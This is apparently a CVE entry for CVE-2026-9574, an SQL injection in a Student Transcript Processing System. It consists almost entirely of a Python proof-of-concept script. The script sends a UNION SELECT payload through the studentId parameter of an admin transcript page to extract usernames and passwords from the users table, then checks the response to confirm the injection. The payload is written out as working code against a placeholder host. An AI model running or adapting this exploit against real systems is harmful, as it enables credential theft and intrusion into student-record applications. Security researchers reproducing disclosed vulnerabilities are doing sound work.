CVE-2026-9574: Student Transcript Processing System SQL注入漏洞

import requests # Target URL configuration target_url = "http://vulnerable-host/admin/modules/student/trans.php" # SQL Injection Payload Testing # Using studentId parameter as the injection point payload_params = { "studentId": "1' UNION SELECT NULL, NULL, username, password FROM users-- -", "cid": "1" } try: # Send the malicious request response = requests.get(target_url, params=payload_params, timeout=10) # Analyze response if "admin" in response.text: print("[+] Potential SQL Injection vulnerability confirmed.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Vulnerability not detected or payload adjusted needed.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")